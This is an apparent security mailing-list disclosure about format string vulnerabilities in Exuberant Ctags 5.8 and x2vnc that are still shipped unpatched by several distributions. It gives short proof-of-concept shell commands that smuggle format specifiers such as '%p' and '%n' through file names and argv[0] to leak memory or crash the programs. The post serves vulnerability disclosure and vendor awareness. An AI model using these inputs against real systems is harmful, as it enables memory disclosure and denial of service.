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Date: Thu, 23 Apr 2020 15:28:48 +0200
From: Jasper Lievisse Adriaanse <>
Subject: Exuberant Ctags and x2vpn format string vulnerabilities


I noticed two format string vulnerabilities in Exuberant Ctags and x2vpn, both of these were fixed back in 2009 and 2012 however they don't appear to have been picked up widely.
(Note this concerns Excuberant Ctags and not Universalt Ctags which is a continuation for the former.)

For example the issue in ctags was fixed in 2009 by the original author in the upstream subversion repository, but a proper release was never made after the affected 5.8 version was released.
Some distributions (most notably Debian, Centos 8) have switched to distributing a version based on an svn checkout, whereas others (OpenBSD, FreeBSD, pkgsrc, CentOS < 8, Homebrew, etc) were still using the actual 5.8 release.

For ctags it can be triggered by specifying an existent but unreadable regex file with the following proof-of-concept:

$ touch "%p %p"; chmod 000 "%p %p"; ectags --regex-c="@%p %p"
ectags: Warning: 0x0 0x189fa32db1da : Permission denied
ectags: No files specified. Try "ectags --help".

Or a simple crasher:

$ touch %n; chmod 000 %n; ectags --regex-c=@%n
ectags: Warning: zsh: segmentation fault (core dumped)  ectags --regex-c=@%n

and for x2vpn it relies on overwriting argv[0]:

tau:2011 ctags % ARGV0="%08x %08x" x2vnc localhost:0
00000010 1e950c0a: ConnectToTcpAddr: connect: Connection refused
%08x %08x: unable to connect to VNC server
tau:2012 ctags %

I described some more details in

I'm posting to this list to make sure other vendors are aware of these issues in ctags and x2vnc because eventhough there were fixed in 2009/2012, many vendors are still shipping the vulnerable code.
If CVEs were to be allocated from the 2009 and 2012 ranges for ctags and x2vnc respectively to make tracking these issues easier, that wouldn't hurt I guess.


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